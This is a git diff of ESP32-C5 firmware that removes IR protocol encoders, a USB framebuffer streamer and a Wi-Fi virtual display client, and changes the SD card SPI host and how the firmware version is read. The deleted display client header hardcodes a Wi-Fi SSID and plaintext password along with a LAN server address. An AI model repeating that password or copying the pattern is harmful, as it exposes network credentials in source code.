limitations under the License. - - -#include "ir_encoder.h" -#include "protocol_samsung32.h" -#include "esp_check.h" -#include - -static const char *TAG = "samsung32_encoder"; - -// Timings Samsung32 em microsegundos -#define SAMSUNG32_LEADING_MARK 4500 -#define SAMSUNG32_LEADING_SPACE 4500 -#define SAMSUNG32_BIT_MARK 560 -#define SAMSUNG32_BIT_ZERO_SPACE 560 -#define SAMSUNG32_BIT_ONE_SPACE 1690 -#define SAMSUNG32_ENDING_MARK 560 - -typedef struct { - rmt_encoder_t base; - rmt_encoder_t *copy_encoder; - rmt_encoder_t *bytes_encoder; - rmt_symbol_word_t samsung32_leading_symbol; - rmt_symbol_word_t samsung32_ending_symbol; - int state; -} rmt_ir_samsung32_encoder_t; - -static size_t rmt_encode_ir_samsung32(rmt_encoder_t *encoder, rmt_channel_handle_t channel, - const void *primary_data, size_t data_size, - rmt_encode_state_t *ret_state) { - rmt_ir_samsung32_encoder_t *samsung32_encoder = __containerof(encoder, rmt_ir_samsung32_encoder_t, base); - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - ir_samsung32_scan_code_t *scan_code = (ir_samsung32_scan_code_t *)primary_data; - rmt_encoder_handle_t copy_encoder = samsung32_encoder->copy_encoder; - rmt_encoder_handle_t bytes_encoder = samsung32_encoder->bytes_encoder; - - switch (samsung32_encoder->state) { - case 0: // send leading code - encoded_symbols += copy_encoder->encode(copy_encoder, channel, - &samsung32_encoder->samsung32_leading_symbol, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung32_encoder->state = 1; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - // fall-through - case 1: // send 32-bit data (LSB first) - encoded_symbols += bytes_encoder->encode(bytes_encoder, channel, - &scan_code->data, sizeof(uint32_t), - &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung32_encoder->state = 2; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - // fall-through - case 2: // send ending code - encoded_symbols += copy_encoder->encode(copy_encoder, channel, - &samsung32_encoder->samsung32_ending_symbol, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - samsung32_encoder->state = RMT_ENCODING_RESET; - state |= RMT_ENCODING_COMPLETE; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - } - -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_samsung32_encoder(rmt_encoder_t *encoder) { - rmt_ir_samsung32_encoder_t *samsung32_encoder = __containerof(encoder, rmt_ir_samsung32_encoder_t, base); - rmt_del_encoder(samsung32_encoder->copy_encoder); - rmt_del_encoder(samsung32_encoder->bytes_encoder); - free(samsung32_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_samsung32_encoder_reset(rmt_encoder_t *encoder) { - rmt_ir_samsung32_encoder_t *samsung32_encoder = __containerof(encoder, rmt_ir_samsung32_encoder_t, base); - rmt_encoder_reset(samsung32_encoder->copy_encoder); - rmt_encoder_reset(samsung32_encoder->bytes_encoder); - samsung32_encoder->state = RMT_ENCODING_RESET; - return ESP_OK; -} - -esp_err_t rmt_new_ir_samsung32_encoder(const ir_samsung32_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder) { - esp_err_t ret = ESP_OK; - rmt_ir_samsung32_encoder_t *samsung32_encoder = NULL; - - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - - samsung32_encoder = rmt_alloc_encoder_mem(sizeof(rmt_ir_samsung32_encoder_t)); - ESP_GOTO_ON_FALSE(samsung32_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for samsung32 encoder"); - - samsung32_encoder->base.encode = rmt_encode_ir_samsung32; - samsung32_encoder->base.del = rmt_del_ir_samsung32_encoder; - samsung32_encoder->base.reset = rmt_ir_samsung32_encoder_reset; - - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &samsung32_encoder->copy_encoder), - err, TAG, "create copy encoder failed"); - - // Leading code (AGC burst) - samsung32_encoder->samsung32_leading_symbol = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = SAMSUNG32_LEADING_MARK * config->resolution / 1000000, - .level1 = 0, - .duration1 = SAMSUNG32_LEADING_SPACE * config->resolution / 1000000, - }; - - // Ending mark - samsung32_encoder->samsung32_ending_symbol = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = SAMSUNG32_ENDING_MARK * config->resolution / 1000000, - .level1 = 0, - .duration1 = 0x7FFF, - }; - - // Bytes encoder para os 32 bits de dados - rmt_bytes_encoder_config_t bytes_encoder_config = { - .bit0 = { - .level0 = 1, - .duration0 = SAMSUNG32_BIT_MARK * config->resolution / 1000000, - .level1 = 0, - .duration1 = SAMSUNG32_BIT_ZERO_SPACE * config->resolution / 1000000, - }, - .bit1 = { - .level0 = 1, - .duration0 = SAMSUNG32_BIT_MARK * config->resolution / 1000000, - .level1 = 0, - .duration1 = SAMSUNG32_BIT_ONE_SPACE * config->resolution / 1000000, - }, - .flags.msb_first = 0 // LSB first - }; - ESP_GOTO_ON_ERROR(rmt_new_bytes_encoder(&bytes_encoder_config, &samsung32_encoder->bytes_encoder), - err, TAG, "create bytes encoder failed"); - - *ret_encoder = &samsung32_encoder->base; - ESP_LOGI(TAG, "Samsung32 encoder created successfully"); - return ESP_OK; - -err: - if (samsung32_encoder) { - if (samsung32_encoder->bytes_encoder) { - rmt_del_encoder(samsung32_encoder->bytes_encoder); - } - if (samsung32_encoder->copy_encoder) { - rmt_del_encoder(samsung32_encoder->copy_encoder); - } - free(samsung32_encoder); - } - return ret; -} diff --git a/firmware_c5/components/Service/ir/protocol_sony.c b/firmware_c5/components/Service/ir/protocol_sony.c deleted file mode 100644 index ee4006b7..00000000 --- a/firmware_c5/components/Service/ir/protocol_sony.c +++ /dev/null @@ -1,211 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_encoder.h" -#include "protocol_sony.h" -#include "esp_check.h" -#include - -static const char *TAG = "sony_encoder"; - -// Timings Sony SIRC em microsegundos -#define SONY_HEADER_MARK 2400 -#define SONY_ONE_MARK 1200 -#define SONY_ZERO_MARK 600 -#define SONY_SPACE 600 - -typedef struct { - rmt_encoder_t base; - rmt_encoder_t *copy_encoder; - rmt_symbol_word_t *symbols; - size_t num_symbols; - size_t current_symbol; - uint32_t resolution; - int state; -} rmt_ir_sony_encoder_t; - -static inline uint32_t us_to_ticks(uint32_t us, uint32_t resolution) { - return (us * resolution) / 1000000; -} - -static void build_sony_symbols(rmt_ir_sony_encoder_t *encoder, const ir_sony_scan_code_t *scan_code) { - uint32_t res = encoder->resolution; - size_t idx = 0; - - // Construir frame (7 command bits + address bits) - // Sony usa LSB first - uint32_t frame = 0; - frame |= (scan_code->command & 0x7F); // 7 bits de comando - frame |= ((uint32_t)scan_code->address << 7); - - ESP_LOGI(TAG, "Building Sony-%d frame: 0x%05lX (addr=0x%04X, cmd=0x%02X)", - scan_code->bits, frame, scan_code->address, scan_code->command); - - // Aloca símbolos (header + bits * 2 + margem) - encoder->symbols = malloc(sizeof(rmt_symbol_word_t) * 50); - if (!encoder->symbols) { - ESP_LOGE(TAG, "Failed to allocate symbols"); - return; - } - - // Header (start bit) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(SONY_HEADER_MARK, res), - .level1 = 0, - .duration1 = us_to_ticks(SONY_SPACE, res) - }; - - // Data bits (LSB first) com pulse width encoding - for (uint8_t i = 0; i < scan_code->bits; i++) { - bool bit = (frame >> i) & 1; - - if (bit) { - // Bit 1: long mark (1200us) + space (600us) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(SONY_ONE_MARK, res), - .level1 = 0, - .duration1 = us_to_ticks(SONY_SPACE, res) - }; - } else { - // Bit 0: short mark (600us) + space (600us) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(SONY_ZERO_MARK, res), - .level1 = 0, - .duration1 = us_to_ticks(SONY_SPACE, res) - }; - } - } - - // Ending space - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = us_to_ticks(SONY_SPACE, res), - .level1 = 0, - .duration1 = 0 - }; - - encoder->num_symbols = idx; - ESP_LOGI(TAG, "Built %zu symbols", encoder->num_symbols); -} - -static size_t rmt_encode_ir_sony(rmt_encoder_t *encoder, rmt_channel_handle_t channel, - const void *primary_data, size_t data_size, - rmt_encode_state_t *ret_state) { - rmt_ir_sony_encoder_t *sony_encoder = __containerof(encoder, rmt_ir_sony_encoder_t, base); - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - - if (sony_encoder->state == 0) { - ir_sony_scan_code_t *scan_code = (ir_sony_scan_code_t *)primary_data; - build_sony_symbols(sony_encoder, scan_code); - sony_encoder->current_symbol = 0; - sony_encoder->state = 1; - } - - while (sony_encoder->current_symbol < sony_encoder->num_symbols) { - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - - encoded_symbols += sony_encoder->copy_encoder->encode( - sony_encoder->copy_encoder, - channel, - &sony_encoder->symbols[sony_encoder->current_symbol], - sizeof(rmt_symbol_word_t), - &session_state - ); - - if (session_state & RMT_ENCODING_COMPLETE) { - sony_encoder->current_symbol++; - } - - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - } - - sony_encoder->state = 0; - state |= RMT_ENCODING_COMPLETE; - -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_sony_encoder(rmt_encoder_t *encoder) { - rmt_ir_sony_encoder_t *sony_encoder = __containerof(encoder, rmt_ir_sony_encoder_t, base); - - if (sony_encoder->symbols) { - free(sony_encoder->symbols); - } - if (sony_encoder->copy_encoder) { - rmt_del_encoder(sony_encoder->copy_encoder); - } - free(sony_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_sony_encoder_reset(rmt_encoder_t *encoder) { - rmt_ir_sony_encoder_t *sony_encoder = __containerof(encoder, rmt_ir_sony_encoder_t, base); - rmt_encoder_reset(sony_encoder->copy_encoder); - sony_encoder->state = 0; - sony_encoder->current_symbol = 0; - - if (sony_encoder->symbols) { - free(sony_encoder->symbols); - sony_encoder->symbols = NULL; - } - - return ESP_OK; -} - -esp_err_t rmt_new_ir_sony_encoder(const ir_sony_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder) { - esp_err_t ret = ESP_OK; - rmt_ir_sony_encoder_t *sony_encoder = NULL; - - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - - sony_encoder = rmt_alloc_encoder_mem(sizeof(rmt_ir_sony_encoder_t)); - ESP_GOTO_ON_FALSE(sony_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for sony encoder"); - - sony_encoder->base.encode = rmt_encode_ir_sony; - sony_encoder->base.del = rmt_del_ir_sony_encoder; - sony_encoder->base.reset = rmt_ir_sony_encoder_reset; - sony_encoder->resolution = config->resolution; - sony_encoder->symbols = NULL; - sony_encoder->num_symbols = 0; - sony_encoder->current_symbol = 0; - sony_encoder->state = 0; - - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &sony_encoder->copy_encoder), - err, TAG, "create copy encoder failed"); - - *ret_encoder = &sony_encoder->base; - ESP_LOGI(TAG, "Sony encoder created successfully"); - return ESP_OK; - -err: - if (sony_encoder) { - if (sony_encoder->copy_encoder) { - rmt_del_encoder(sony_encoder->copy_encoder); - } - free(sony_encoder); - } - return ret; -} diff --git a/firmware_c5/components/Service/sd_card/sd_card_init.c b/firmware_c5/components/Service/sd_card/sd_card_init.c index bab33ee5..116ad4f1 100644 --- a/firmware_c5/components/Service/sd_card/sd_card_init.c +++ b/firmware_c5/components/Service/sd_card/sd_card_init.c @@ -60,7 +60,7 @@ esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed) sdmmc_host_t host = SDSPI_HOST_DEFAULT(); host.max_freq_khz = SDMMC_FREQ_DEFAULT; - host.slot = SPI3_HOST; + host.slot = SPI2_HOST; sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); slot_config.gpio_cs = SD_CARD_CS_PIN; diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 4effe75f..29fb97fa 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -8,12 +8,14 @@ #include "bluetooth_service.h" #include "deauther_detector.h" #include "esp_log.h" -#include "esp_app_desc.h" #include "esp_system.h" +#include "storage_assets.h" +#include "cJSON.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/portmacro.h" #include +#include static const char *TAG = "SPI_BRIDGE_C5"; @@ -37,6 +39,25 @@ static bool stream_wifi_sniffer_enabled = false; static bool stream_bt_sniffer_enabled = false; static portMUX_TYPE stream_mux = portMUX_INITIALIZER_UNLOCKED; static volatile bool restart_pending = false; +static char s_firmware_version[32] = "unknown"; + +static void load_firmware_version(void) { + size_t size; + uint8_t *json_data = storage_assets_load_file("config/OTA/firmware.json", &size); + if (json_data == NULL) return; + + cJSON *root = cJSON_ParseWithLength((const char *)json_data, size); + free(json_data); + if (root == NULL) return; + + cJSON *version = cJSON_GetObjectItem(root, "version"); + if (cJSON_IsString(version) && version->valuestring != NULL) { + strncpy(s_firmware_version, version->valuestring, sizeof(s_firmware_version) - 1); + s_firmware_version[sizeof(s_firmware_version) - 1] = '\0'; + ESP_LOGI(TAG, "Firmware version: %s", s_firmware_version); + } + cJSON_Delete(root); +} void spi_bridge_provide_results(void* source, uint16_t count, uint8_t item_size) { current_data_source = source; @@ -130,10 +151,10 @@ static void spi_bridge_task(void *pvParameters) { status = SPI_STATUS_OK; restart_pending = true; } else if (header->id == SPI_ID_SYSTEM_VERSION) { - const char *ver = esp_app_get_description()->version; - size_t ver_len = strlen(ver); + if (strcmp(s_firmware_version, "unknown") == 0) load_firmware_version(); + size_t ver_len = strlen(s_firmware_version); if (ver_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) ver_len = (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE); - memcpy(resp_payload, ver, ver_len); + memcpy(resp_payload, s_firmware_version, ver_len); resp_len = (uint8_t)ver_len; status = SPI_STATUS_OK; } else if (header->id == SPI_ID_SYSTEM_STATUS) { diff --git a/firmware_c5/components/Service/storage_vfs/vfs_sdcard.c b/firmware_c5/components/Service/storage_vfs/vfs_sdcard.c index d38aaccf..62f84e33 100644 --- a/firmware_c5/components/Service/storage_vfs/vfs_sdcard.c +++ b/firmware_c5/components/Service/storage_vfs/vfs_sdcard.c @@ -253,7 +253,7 @@ esp_err_t vfs_sdcard_init(void) .flags = SPICOMMON_BUSFLAG_MASTER, }; - ret = spi_bus_initialize(SPI3_HOST, &bus_cfg, SPI_DMA_CH_AUTO); + ret = spi_bus_initialize(SPI2_HOST, &bus_cfg, SPI_DMA_CH_AUTO); if (ret == ESP_OK) { s_sdcard.we_initialized_bus = true; @@ -268,12 +268,12 @@ esp_err_t vfs_sdcard_init(void) vTaskDelay(pdMS_TO_TICKS(200)); sdmmc_host_t host = SDSPI_HOST_DEFAULT(); - host.slot = SPI3_HOST; + host.slot = SPI2_HOST; host.max_freq_khz = SDMMC_FREQ_DEFAULT; sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); slot_config.gpio_cs = SD_CARD_CS_PIN; - slot_config.host_id = SPI3_HOST; + slot_config.host_id = SPI2_HOST; esp_vfs_fat_sdmmc_mount_config_t mount_config = { .format_if_mount_failed = VFS_FORMAT_ON_FAIL, @@ -292,7 +292,7 @@ esp_err_t vfs_sdcard_init(void) if (ret != ESP_OK) { ESP_LOGE(TAG, "Mount failed: %s", esp_err_to_name(ret)); if (s_sdcard.we_initialized_bus) { - spi_bus_free(SPI3_HOST); + spi_bus_free(SPI2_HOST); s_sdcard.we_initialized_bus = false; } return ret; @@ -336,7 +336,7 @@ esp_err_t vfs_sdcard_deinit(void) s_sdcard.card = NULL; if (s_sdcard.we_initialized_bus) { - spi_bus_free(SPI3_HOST); + spi_bus_free(SPI2_HOST); s_sdcard.we_initialized_bus = false; } } @@ -398,4 +398,4 @@ esp_err_t vfs_sdcard_format(void) return vfs_sdcard_init(); } -#endif // VFS_USE_SD_CARD \ No newline at end of file +#endif // VFS_USE_SD_CARD diff --git a/firmware_c5/components/Service/usb_stream/CMakeLists.txt b/firmware_c5/components/Service/usb_stream/CMakeLists.txt deleted file mode 100644 index b2e259c4..00000000 --- a/firmware_c5/components/Service/usb_stream/CMakeLists.txt +++ /dev/null @@ -1,2 +0,0 @@ -idf_component_register(SRCS "usb_stream.c" - INCLUDE_DIRS "include") diff --git a/firmware_c5/components/Service/usb_stream/include/usb_stream.h b/firmware_c5/components/Service/usb_stream/include/usb_stream.h deleted file mode 100644 index d331d962..00000000 --- a/firmware_c5/components/Service/usb_stream/include/usb_stream.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifndef USB_STREAM_H -#define USB_STREAM_H - -/** - * @brief Envia o conteúdo completo do framebuffer do ST7789 pela porta USB CDC. - * * Esta função obtém o ponteiro para o framebuffer, escreve seus bytes brutos - * para a saída padrão (stdout), que deve ser configurada para USB CDC no menuconfig, - * e força o envio dos dados. - */ -void send_framebuffer_over_usb(void); - -#endif // USB_STREAM_H \ No newline at end of file diff --git a/firmware_c5/components/Service/usb_stream/usb_stream.c b/firmware_c5/components/Service/usb_stream/usb_stream.c deleted file mode 100644 index dad24563..00000000 --- a/firmware_c5/components/Service/usb_stream/usb_stream.c +++ /dev/null @@ -1,22 +0,0 @@ -// Em um novo arquivo, por exemplo, main/usb_stream.c -#include "freertos/FreeRTOS.h" -#include -#include "st7789.h" - -static const char *TAG = "USB_STREAM"; - -// Esta é a nossa nova função de envio -void send_framebuffer_over_usb() { - uint16_t* fb = st7789_get_framebuffer(); - if (fb == NULL) { - // Não faz nada se o framebuffer não estiver pronto - return; - } - - size_t framebuffer_size = ST7789_WIDTH * ST7789_HEIGHT * sizeof(uint16_t); - - // Escreve os bytes brutos do framebuffer diretamente para a saída padrão (stdout), - // que agora é a nossa porta USB CDC. - fwrite(fb, 1, framebuffer_size, stdout); - fflush(stdout); // Garante que os dados sejam enviados imediatamente -} \ No newline at end of file diff --git a/firmware_c5/components/Service/virtual_display_client/CMakeLists.txt b/firmware_c5/components/Service/virtual_display_client/CMakeLists.txt deleted file mode 100644 index b3981cae..00000000 --- a/firmware_c5/components/Service/virtual_display_client/CMakeLists.txt +++ /dev/null @@ -1,2 +0,0 @@ -idf_component_register(SRCS "virtual_display_client.c" - INCLUDE_DIRS "include") diff --git a/firmware_c5/components/Service/virtual_display_client/include/virtual_display_client.h b/firmware_c5/components/Service/virtual_display_client/include/virtual_display_client.h deleted file mode 100644 index 79d3c0eb..00000000 --- a/firmware_c5/components/Service/virtual_display_client/include/virtual_display_client.h +++ /dev/null @@ -1,48 +0,0 @@ -#ifndef VIRTUAL_DISPLAY_CLIENT_H -#define VIRTUAL_DISPLAY_CLIENT_H - -#include "esp_event.h" // Necessário para esp_event_base_t e int32_t - -// ========================================================================= -// ↓↓↓ CONFIGURAÇÕES DO CLIENTE DE DISPLAY VIRTUAL ↓↓↓ -// Estas configurações são movidas para o cabeçalho para acesso global -// ========================================================================= -#define WIFI_SSID_VIRTUAL_DISPLAY "SathoshiN" // SSID para o cliente conectar -#define WIFI_PASS_VIRTUAL_DISPLAY "2008bitc" // Senha para o cliente conectar -#define SERVER_IP_ADDR_VIRTUAL_DISPLAY "192.168.0.13" // Endereço IP do servidor do display virtual -#define SERVER_PORT_VIRTUAL_DISPLAY 1337 // Porta do servidor do display virtual -// ========================================================================= - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Inicia a tarefa de envio de frames para o display virtual. - * Esta função deve ser chamada para começar a enviar o framebuffer via Wi-Fi. - */ -void virtual_display_start_frame_sending(void); - -/** - * @brief Notifica que um novo frame está pronto para ser enviado. - * Deve ser chamada sempre que o framebuffer for atualizado. - */ -void virtual_display_notify_frame_ready(void); - -/** - * @brief Handler de eventos Wi-Fi para o cliente de display virtual. - * Gerencia a conexão Wi-Fi e a reconexão com o servidor. - * - * @param arg Argumento passado para o handler. - * @param event_base Base do evento (ex: WIFI_EVENT, IP_EVENT). - * @param event_id ID do evento (ex: WIFI_EVENT_STA_START, IP_EVENT_STA_GOT_IP). - * @param event_data Dados específicos do evento. - */ -void virtual_display_wifi_event_handler(void* arg, esp_event_base_t event_base, - int32_t event_id, void* event_data); - -#ifdef __cplusplus -} -#endif - -#endif // VIRTUAL_DISPLAY_CLIENT_H \ No newline at end of file diff --git a/firmware_c5/components/Service/virtual_display_client/virtual_display_client.c b/firmware_c5/components/Service/virtual_display_client/virtual_display_client.c deleted file mode 100644 index 0b82ae65..00000000 --- a/firmware_c5/components/Service/virtual_display_client/virtual_display_client.c +++ /dev/null @@ -1,186 +0,0 @@ -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/semphr.h" // Incluir para semáforos -#include "esp_system.h" -#include "esp_wifi.h" -#include "esp_event.h" -#include "esp_log.h" -#include "nvs_flash.h" -#include "lwip/err.h" -#include "lwip/sockets.h" -#include "lwip/sys.h" // Para timeouts -#include "st7789.h" -#include "virtual_display_client.h" // Incluir o próprio cabeçalho - -static const char *TAG = "VIRTUAL_DISPLAY"; -static int sock = -1; // Socket global - -// Declaração da tarefa para que possa ser chamada novamente -void connect_to_server_task(void *pvParameters); -static TaskHandle_t reconnect_task_handle = NULL; - -// Semáforo para sinalizar que um novo frame está pronto -static xSemaphoreHandle s_frame_ready_semaphore = NULL; -static TaskHandle_t s_frame_sender_task_handle = NULL; // Handle para a tarefa de envio de frames - -// Protótipo da tarefa de envio de frames -static void frame_sender_task(void *pvParameters); - -// Função que lida com os eventos do Wi-Fi (agora pública e renomeada) -void virtual_display_wifi_event_handler(void* arg, esp_event_base_t event_base, - int32_t event_id, void* event_data) { - if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { - esp_wifi_connect(); - } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { - ESP_LOGI(TAG, "Reconectando ao Wi-Fi..."); - if (sock >= 0) { - close(sock); - sock = -1; - } - // Se a tarefa de reconexão estiver ativa, pare-a antes de tentar conectar novamente. - if (reconnect_task_handle != NULL) { - vTaskDelete(reconnect_task_handle); - reconnect_task_handle = NULL; - } - esp_wifi_connect(); - } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { - ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data; - ESP_LOGI(TAG, "Conectado! IP do Highboy: " IPSTR, IP2STR(&event->ip_info.ip)); - // Agora que temos um IP, podemos iniciar a tarefa de conexão ao servidor - xTaskCreate(connect_to_server_task, "connect_task", 4096, NULL, 5, &reconnect_task_handle); - } -} - -// Tarefa que tenta se conectar ao servidor em um loop -void connect_to_server_task(void *pvParameters) { - struct sockaddr_in dest_addr; - dest_addr.sin_addr.s_addr = inet_addr(SERVER_IP_ADDR_VIRTUAL_DISPLAY); - dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(SERVER_PORT_VIRTUAL_DISPLAY); - while (1) { - sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); - if (sock < 0) { - ESP_LOGE(TAG, "Não foi possível criar o socket: errno %d", errno); - vTaskDelay(pdMS_TO_TICKS(2000)); - continue; - } - - // Define um timeout para o envio de dados - struct timeval sending_timeout; - sending_timeout.tv_sec = 5; - sending_timeout.tv_usec = 0; - if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &sending_timeout, sizeof(sending_timeout)) < 0) { - ESP_LOGE(TAG, "Falha ao definir timeout de envio: errno %d", errno); - close(sock); - sock = -1; - vTaskDelay(pdMS_TO_TICKS(2000)); - continue; - } - - - -ESP_LOGI(TAG, "Socket criado, conectando a %s:%d", SERVER_IP_ADDR_VIRTUAL_DISPLAY, SERVER_PORT_VIRTUAL_DISPLAY); - - - int err = connect(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); - - if (err != 0) { - ESP_LOGE(TAG, "Falha na conexão do socket: errno %d. Tentando novamente...", errno); - close(sock); - sock = -1; - vTaskDelay(pdMS_TO_TICKS(5000)); // Espera 5s antes de tentar de novo - } else { - ESP_LOGI(TAG, "Conectado com sucesso ao servidor!"); - // Inicia a tarefa de envio de frames APENAS UMA VEZ após a conexão bem-sucedida - if (s_frame_sender_task_handle == NULL) { - xTaskCreate(frame_sender_task, "frame_sender", 4096, NULL, 4, &s_frame_sender_task_handle); - } - break; // Sai do loop de tentativas de conexão - } - } - reconnect_task_handle = NULL; // Limpa o handle da tarefa - vTaskDelete(NULL); // Deleta a tarefa após conectar com sucesso -} - - -// Função para enviar o framebuffer via socket (AGORA CHAMADA PELA TAREFA DEDICADA) -void send_framebuffer_to_server() { - if (sock < 0) { - // Se não estiver conectado e não houver uma tarefa de reconexão rodando, cria uma. - if (reconnect_task_handle == NULL) { - xTaskCreate(connect_to_server_task, "reconnect_task", 4096, NULL, 5, &reconnect_task_handle); - } - return; // Não envia se não houver socket - } - - uint16_t* fb = st7789_get_framebuffer(); - if (fb == NULL) { - ESP_LOGE(TAG, "Framebuffer é nulo, não é possível enviar."); - return; - } - - int bytes_a_enviar = ST7789_WIDTH * ST7789_HEIGHT * 2; - int bytes_enviados_total = 0; - - // Loop para garantir que todos os bytes sejam enviados - while (bytes_enviados_total < bytes_a_enviar) { - int bytes_enviados = send(sock, (uint8_t*)fb + bytes_enviados_total, bytes_a_enviar - bytes_enviados_total, 0); - - if (bytes_enviados < 0) { - // Um erro ocorreu. Verificamos se é um erro de "tente novamente" ou um erro real. - if (errno == EAGAIN || errno == EWOULDBLOCK) { - ESP_LOGW(TAG, "Socket buffer cheio. Tentando novamente em breve."); - vTaskDelay(pdMS_TO_TICKS(50)); // Pequena pausa para o buffer de rede esvaziar - continue; // Tenta enviar o mesmo pedaço novamente - } - - ESP_LOGE(TAG, "Erro ao enviar dados: errno %d. Fechando socket.", errno); - close(sock); - sock = -1; // Sinaliza que a conexão foi perdida - // Tenta reconectar em uma nova tarefa para não bloquear a frame_sender_task. - if (reconnect_task_handle == NULL) { - xTaskCreate(connect_to_server_task, "reconnect_task", 4096, NULL, 5, &reconnect_task_handle); - } - return; // Sai da função de envio - } - - bytes_enviados_total += bytes_enviados; - } -} - -// NOVA TAREFA DEDICADA PARA ENVIAR FRAMES -static void frame_sender_task(void *pvParameters) { - while (1) { - // Espera indefinidamente por um sinal de que um novo frame está pronto - if (xSemaphoreTake(s_frame_ready_semaphore, portMAX_DELAY) == pdTRUE) { - send_framebuffer_to_server(); // Chama a função de envio, que pode bloquear esta tarefa, mas não a principal - - // Opcional: Adicione um pequeno atraso aqui para controlar o FPS de envio - // Por exemplo, para enviar no máximo 30 frames por segundo (aprox. 33ms por frame) - // vTaskDelay(pdMS_TO_TICKS(33)); - } - } -} - -// Inicializa o semáforo (chamar uma vez na inicialização do Wi-Fi) -void virtual_display_start_frame_sending(void) { - if (s_frame_ready_semaphore == NULL) { - s_frame_ready_semaphore = xSemaphoreCreateBinary(); - if (s_frame_ready_semaphore == NULL) { - ESP_LOGE(TAG, "Falha ao criar o semáforo de frame pronto."); - return; - } - } - // A tarefa de envio de frames será criada em connect_to_server_task quando a conexão for estabelecida. - // Isso garante que a tarefa só inicie após termos um IP. -} - -// Notifica a tarefa de envio de frames que um novo frame está pronto -void virtual_display_notify_frame_ready(void) { - if (s_frame_ready_semaphore != NULL) { - // Libera o semáforo para a tarefa de envio de frames - // xSemaphoreGiveFromISR pode ser usado se for chamado de uma ISR (interrupção) - // Mas para chamadas de tarefas normais, xSemaphoreGive é suficiente - xSemaphoreGive(s_frame_ready_semaphore); - } -} \ No newline at end of file diff --git a/firmware_c5/main/idf_component.yml b/firmware_c5/main/idf_component.yml index 2e2cd731..934e1bd8 100644 --- a/firmware_c5/main/idf_component.yml +++ b/firmware_c5/main/idf_component.yml @@ -1,7 +1,5 @@ dependencies: espressif/led_strip: ^2.5.1 - espressif/tinyusb: '*' - espressif/esp_tinyusb: '*' joltwallet/littlefs: ^1.14.8 lvgl/lvgl: ^9.4.0 espressif/cjson: ^1.7.19 diff --git a/firmware_c5/sdkconfig b/firmware_c5/sdkconfig index 3757a773..af28e7d8 100644 --- a/firmware_c5/sdkconfig +++ b/firmware_c5/sdkconfig @@ -3,39 +3,29 @@ # Espressif IoT Development Framework (ESP-IDF) 5.5.1 Project Configuration # CONFIG_SOC_ADC_SUPPORTED=y +CONFIG_SOC_ANA_CMPR_SUPPORTED=y 